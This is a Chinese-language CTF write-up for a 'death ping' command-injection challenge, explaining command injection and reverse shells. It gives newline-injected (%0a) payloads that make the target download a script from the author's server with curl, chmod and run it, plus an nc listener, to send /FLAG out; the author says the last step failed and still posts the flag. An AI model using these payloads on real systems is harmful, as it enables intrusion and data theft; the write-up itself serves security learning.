i春秋 死亡ping命令 原理学习(命令执行+shell反弹)+复现
感謝 doulicau和chesterblue老哥的指導
本題用寶塔搭建環境下 在開放安全組的前提下,也需要將服務器的防火墻打開,因為國內的服務器一開始是默認關閉的。
打開防火墻命令:
iptables -I INPUT -p tcp --dport 8888 -j ACCEPT 開放8888端口命令這題一開始先按照doulicau老哥的做法做的,一開始還不懂先是要反彈shell,當然嘗試了會發現不行。
所以后面選擇使用命令執行加重定向來獲取信息,不過到我這又不行了。
但現在2021.1.18 還是沒做出來 感覺是服務器對發出去的數據又有了限制,依舊是在最后一步報錯。
不過其實沒做出來也沒關系,學到思路以及其中的操作才是最重要的。
這道題雖然墨跡了幾天沒做出來,但從中還是學到不少東西,所以寫篇文章記錄一下自己這幾天的過程和收獲。
目錄
前置知識
題目
?
思路
復現步驟
FLAG
前置知識
命令執行:應用程序的某些功能需要調用可以執行系統命令的函數,如果這些函數的參數被用戶控制,就有可能通過命令連接符將惡意命令拼接到正常的函數中,從而隨意執行系統命令。
shell反彈:reverse shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
可能說的比較官方,說人話就是:
- 命令執行:正常的命令后面可以憑借危險的命令,系統會直接執行
- shell反彈:這有個前提是我們能控制被攻擊機,我們控制它執行一些危險命令,但是輸出是在被攻擊機上面,所以我們通過反彈一個shell,被攻擊機的輸入,輸出,都傳到我們電腦上。
為什么要反彈shell
通常用于被控端因防火墻受限、權限不足、端口被占用等情形
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那么什么情況下正向連接不太好用了呢?
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.它的ip會動態改變,你不能持續控制。
3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,才是上策。
題目
思路
- fuzz測試發現 %0a,%0b,可傳入參數繞過過濾
- 搭建服務器,在服務器上放上1.sh文件(包含反彈shell 和打開flag文件代碼)
- 通過命令執行讓靶機下載1.sh文件
- 通過命令執行讓靶機給1.sh文件加權限
- 打開服務器的監聽端口
- 通過命令執行讓靶機執行1.sh文件
復現步驟
fuzz測試()前端有輸入字符最長限制,我們放在bp做
(原諒我%0a的圖沒截到。。)
搭建服務器
自己看著別人的write up需要搭建服務器,還特意去學了一下。。。。
這里推薦一個白嫖阿里云服務器的教程(這兩天剛我試了一下)
然后就是漫長的搭建服務器的過程,對于我這樣一個新手非常不友好,但總算還是搞成了。
我用的方法是阿里云服務器+寶塔(有興趣的同學可以去試一下)
在根目錄創建1.sh文件
ls cat /FLAG | ip地址 8088 127.0.0.1%0acurl 服務器ip/1.sh > /tmp/1.sh?命令執行讓靶機下載你的1.sh文件 并放在tmp文件夾中
?命令執行給1.sh文件加權限
127.0.0.1%0achmod 777 /tmp/1.sh打開自己的服務器8088端口開始監聽,得到靶機的輸入輸出
nc -lvp 8088?命令執行使靶機執行1.sh文件
127.0.0.1%0ash /tmp/1.sh?
?最后一步寄了,現在也沒弄清是哪的問題,但是步驟和原理就是這樣了,有懂得原因或是復現成功的大哥可以在評論區留言。
FLAG
雖然最后沒復現成功,但該交的flag還是得交,不然感覺虧了很多,哈哈。
n1book{6fa82809179d7f19c67259aa285a7729}總結
以上是生活随笔為你收集整理的i春秋 死亡ping命令 原理学习(命令执行+shell反弹)+复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SVN上库前检查(钩子程序)
- 下一篇: 电脑绘制图纸